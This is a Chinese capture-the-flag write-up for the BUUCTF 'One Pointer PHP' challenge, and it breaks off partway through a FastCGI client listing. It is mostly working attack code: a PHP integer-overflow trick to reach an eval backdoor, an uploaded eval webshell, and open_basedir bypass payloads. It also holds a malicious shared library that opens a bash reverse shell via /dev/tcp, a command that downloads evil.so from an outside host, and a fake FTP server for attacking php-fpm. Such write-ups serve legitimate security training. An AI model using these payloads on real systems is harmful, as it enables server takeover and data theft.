[BUUCTF][蓝帽杯 2021]One Pointer PHP

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考点

php数组溢出

绕过open_basedir

攻击php-fpm绕过disable functions

Suid提权

源码

user.php

<?php
class User{
	public $count;
}
?>

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

第一步

反序列化cookies->data使其$count[++$user->count]=1

需要绕过if($count[]=1)语句进入else分支执行eval函数

PHP数组溢出

在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

测试:

<?php
class User{
    public $count;
}

$a = new User();
$a->count = 9223372036854775806;

$user=unserialize(serialize($a));
$count[++$user->count]=1;
var_dump($count);

if($count[]=1){
    echo "die";
}else{
    echo "success";
}
?>

输出

array(1) {
  [0]=>
  int(1)
}
die

所以这里只需要$a->count=9223372036854775806即long最大值时即可绕过(64位即2^64)

<?php

class User{
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

在请求信息中添加Cookie:data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

第二步

查看phpinfo()

/add_api.php?backdoor=phpinfo();

disable_classes:
Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
disable_functions:	stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
open_basedir:/var/www/html
Server API:FPM/FastCGI 

绕过open_basedir查看目录文件

ini_set绕过

open_basedir可以用经典的的ini_set+chdir绕过,先mkdir()创建一个子目录,然后再chdir()进去,ini_set("open_basedir", "..")就是合法的,当open_basedir变成..之后,就可以一路chdir("..")直达根目录,这时再ini_set("open_basedir", "/")就可以完全绕过open_basedir的限制了
一开始直接ini_set("open_basedir", "/")不行,因为根目录不在当前的open_basedir下

为了方便我们先传一个木马上去

add_api.php?backdoor=file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');

读文件

1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

发现有flag文件,尝试读取失败,应该有权限限制,需要提权

1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));

glob协议绕过

由于html目录可写,利用glob://协议先探测目录

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

glob:// — 查找匹配的文件路径模式

读取配置文件

预期解:

/usr/local/etc/php/php.ini

发现extension=easy_bypass.so

pwn

非预期:

/etc/nginx/sites-enabled/default

发现

# pass PHP scripts to FastCGI server
	#
	location ~ \\.php$ {
    root           html;
    fastcgi_pass   127.0.0.1:9001;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html/$fastcgi_script_name;
    include        fastcgi_params;
    }

应该是通过未授权打FPM rce

攻击 php-fpm 绕过 disable_functions

反弹shell

编写拓展
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

编译(linux上)

gcc evil.c -fPIC -shared -o evil.so

编译好之后将其上传到/tmp目录下

add_api.php?backdoor=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");
伪造ftp服务器
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\\n')
#Size /
conn.send(b'550 Could not get the file size.\\n')
#EPSV (1)
conn.send(b'150 ok\\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\\n') #STOR / (2)
conn.send(b'150 Permission denied.\\n')
#QUIT
conn.send(b'221 Goodbye.\\n')
conn.close()
生成payload
<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread(<

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